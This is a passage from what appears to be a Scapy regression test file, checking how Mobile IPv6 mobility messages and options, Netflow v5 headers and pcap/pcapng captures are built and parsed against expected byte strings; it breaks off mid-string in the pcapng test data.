==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0c\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptCGAParams()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptSignature = Mobility Options - Automatic Padding - MIP6OptSignature a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptSignature()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\r\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptSignature()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\r\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptSignature()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\r\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\r\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\r\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\r\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\r\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\r\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\r\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken = Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptHomeKeygenToken()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0e\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptHomeKeygenToken()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0e\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptHomeKeygenToken()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0e\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0e\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0e\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0e\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0e\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0e\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0e\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCareOfTestInit = Mobility Options - Automatic Padding - MIP6OptCareOfTestInit a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTestInit()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0f\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTestInit()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0f\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptCareOfTestInit()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0f\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0f\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0f\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0f\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0f\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0f\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCareOfTest = Mobility Options - Automatic Padding - MIP6OptCareOfTest a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTest()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTest()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptCareOfTest()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' a and b and c and d and e and g and h and i and j + Binding Refresh Request Message = MIP6MH_BRR - Build (default values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR()) == '`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00' = MIP6MH_BRR - Build with specific values str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR(nh=0xff, res=0xee, res2=0xaaaa, options=[MIP6OptLLAddr(), MIP6OptAltCoA()])) == '`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_BRR - Basic dissection a=IPv6('`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 59 and b.len == 0 and b.mhtype == 0 and b.res == 0 and b.cksum == 0x68fb and b.res2 == 0 and b.options == [] = MIP6MH_BRR - Dissection with specific values a=IPv6('`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 0xff and b.len == 4 and b.mhtype == 0 and b.res == 238 and b.cksum == 0xec24 and b.res2 == 43690 and len(b.options) == 3 and isinstance(b.options[0], MIP6OptLLAddr) and isinstance(b.options[1], PadN) and isinstance(b.options[2], MIP6OptAltCoA) = MIP6MH_BRR / MIP6MH_BU / MIP6MH_BA hashret() and answers() hoa="2001:db8:9999::1" coa="2001:db8:7777::1" cn="2001:db8:8888::1" ha="2001db8:6666::1" a=IPv6(str(IPv6(src=cn, dst=hoa)/MIP6MH_BRR())) b=IPv6(str(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=0x01))) b2=IPv6(str(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=~0x01))) c=IPv6(str(IPv6(src=cn, dst=coa)/IPv6ExtHdrRouting(type=2, addresses=[hoa])/MIP6MH_BA())) b.answers(a) and not a.answers(b) and c.answers(b) and not b.answers(c) and not c.answers(b2) + Home Test Init Message = MIP6MH_HoTI - Build (default values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI()) == '`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01\x00g\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_HoTI - Dissection (default values) a=IPv6('`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01\x00g\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len== 1 and b.res == 0 and b.cksum == 0x67f2 and b.cookie == '\x00'*8 = MIP6MH_HoTI - Build (specific values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI(res=0x77, cksum=0x8899, cookie="\xAA"*8)) == '`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = MIP6MH_HoTI - Dissection (specific values) a=IPv6('`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == '\xAA'*8 + Care-of Test Init Message = MIP6MH_CoTI - Build (default values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI()) == '`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02\x00f\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_CoTI - Dissection (default values) a=IPv6('`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02\x00f\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len== 1 and b.res == 0 and b.cksum == 0x66f2 and b.cookie == '\x00'*8 = MIP6MH_CoTI - Build (specific values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI(res=0x77, cksum=0x8899, cookie="\xAA"*8)) == '`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = MIP6MH_CoTI - Dissection (specific values) a=IPv6('`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == '\xAA'*8 + Home Test Message = MIP6MH_HoT - Build (default values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT()) == '`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_HoT - Dissection (default values) a=IPv6('`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0 and b.cksum == 0x65e9 and b.index == 0 and b.cookie == '\x00'*8 and b.token == '\x00'*8 = MIP6MH_HoT - Build (specific values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT(res=0x77, cksum=0x8899, cookie="\xAA"*8, index=0xAABB, token='\xCC'*8)) == '`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc' = MIP6MH_HoT - Dissection (specific values) a=IPv6('`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == '\xAA'*8 and b.token == '\xCC'*8 + Care-of Test Message = MIP6MH_CoT - Build (default values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT()) == '`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_CoT - Dissection (default values) a=IPv6('`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0 and b.cksum == 0x64e9 and b.index == 0 and b.cookie == '\x00'*8 and b.token == '\x00'*8 = MIP6MH_CoT - Build (specific values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT(res=0x77, cksum=0x8899, cookie="\xAA"*8, index=0xAABB, token='\xCC'*8)) == '`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc' = MIP6MH_CoT - Dissection (specific values) a=IPv6('`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_CoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == '\xAA'*8 and b.token == '\xCC'*8 + Binding Update Message = MIP6MH_BU - build (default values) s= '`\x00\x00\x00\x00(<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x01\x05\x00\xee`\x00\x00\xd0\x00\x00\x03\x01\x02\x00\x00' str(IPv6()/IPv6ExtHdrDestOpt(options=[HAO()])/MIP6MH_BU()) == s = MIP6MH_BU - dissection (default values) p = IPv6(s) p[MIP6MH_BU].len == 1 = MIP6MH_BU - build s = '`\x00\x00\x00\x00P<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe;\x06\x05\x00\xea\xf2\x00\x00\xd0\x00\x00*\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(IPv6()/IPv6ExtHdrDestOpt(options=[HAO(hoa='2001:db8::cafe')])/MIP6MH_BU(mhtime=42, options=[MIP6OptAltCoA(),MIP6OptMobNetPrefix()])) == s = MIP6MH_BU - dissection p = IPv6(s) p[MIP6MH_BU].cksum == 0xeaf2 and p[MIP6MH_BU].len == 6 and len(p[MIP6MH_BU].options) == 4 and p[MIP6MH_BU].mhtime == 42 + Binding ACK Message = MIP6MH_BA - build s = '`\x00\x00\x00\x00\x10\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x01\x06\x00\xbc\xb9\x00\x80\x00\x00\x00*\x01\x02\x00\x00' str(IPv6()/MIP6MH_BA(mhtime=42)) == s = MIP6MH_BA - dissection p = IPv6(s) p[MIP6MH_BA].cksum == 0xbcb9 and p[MIP6MH_BA].len == 1 and len(p[MIP6MH_BA].options) == 1 and p[MIP6MH_BA].mhtime == 42 + Binding ERR Message = MIP6MH_BE - build s = '`\x00\x00\x00\x00\x18\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x02\x07\x00\xbbY\x02\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' str(IPv6()/MIP6MH_BE(status=2, ha='1::2')) == s = MIP6MH_BE - dissection p = IPv6(s) p[MIP6MH_BE].cksum=0xba10 and p[MIP6MH_BE].len == 1 and len(p[MIP6MH_BE].options) == 1 ############ ############ + Netflow v5 = NetflowHeaderV5 - basic building str(NetflowHeader()/NetflowHeaderV5()) == '\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(NetflowHeaderV5(engineID=42)) == '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\x00\x00' str(NetflowRecordV5(dst="192.168.0.1")) == '\x7f\x00\x00\x01\xc0\xa8\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(NetflowHeader()/NetflowHeaderV5(count=1)/NetflowRecordV5(dst="192.168.0.1")) == '\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\xc0\xa8\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00' = NetflowHeaderV5 - basic dissection nf5 = NetflowHeader('\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00') nf5.version == 5 and nf5[NetflowHeaderV5].count == 2 and isinstance(nf5[NetflowRecordV5].payload, NetflowRecordV5) ############ ############ + pcap / pcapng format support = Variable creations import cStringIO pcapfile = cStringIO.StringIO('\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00e\x00\x00\x00\xcf\xc5\xacVo*\n\x00(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00\xcf\xc5\xacV_-\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r\xcf\xc5\xacV\xf90\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00') pcapngfile = cStringIO.StringIO('\n\r\r\n\\\x00\x00\x00M<+\x1a\x01\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x01\x00,\x00File created by merging: \nFile1: test.pcap \n\x04\x00\x08\x00mergecap\x00\x00\x00\x00\\\x00\x00\x00\x01\x00\x00\x00\\\x00\x00\x00e\x00\x00\x00\xff\xff\x00\x00\x02\x006\x00Unknown/not available in original file format(libpcap)\x00\x00\t\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00\x00\\\x00\x00\x00\x06\x00\x00\x00H\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00/\xfc[\xcd(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 